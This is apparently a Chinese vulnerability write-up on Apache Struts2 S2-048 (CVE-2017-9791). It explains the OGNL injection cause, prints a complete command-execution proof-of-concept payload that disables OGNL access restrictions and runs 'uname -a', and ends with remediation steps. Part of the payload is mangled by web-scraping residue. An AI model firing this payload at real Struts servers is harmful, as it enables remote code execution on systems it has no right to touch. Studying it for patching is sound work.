2017年7月7日,ApacheStruts 發佈最新的安全公告,Apache Struts2的strus1插件存在遠程代碼執行的高危漏洞,漏洞編號爲 CVE-2017-9791(S2-048)。攻擊者可以構造惡意的字段值通過Struts2的struts2-struts1-plugin插件,遠程執行代碼。
漏洞記錄
S2-048
CVE-2017-9791
Struts 2.3.X
http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action
影響範圍非常小
漏洞檢測利用
根據官網說明,可知漏洞產生的原因是將用戶可控的值添加到 ActionMessage 並在客戶前端展示,導致其進入 getText 函數,最後 message 被當作 ognl 表達式執行所以訪問 /integration/saveGangster.action 構造payload
發現執行1+1,並顯示在屏幕上
命令執行poc
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('uname -a').getInputStream())).(#q)}
修補意見
1、臨時解決方案:通過使用 resourcekeys 替代將原始消息直接傳遞給 ActionMessage 的方式。如下所示:
messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
一定不要使用如下的方式
messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
2、 無奈解決方案:不啓用struts2-struts1-plugin插件
3、 根本解決方案:建議升級到最新版本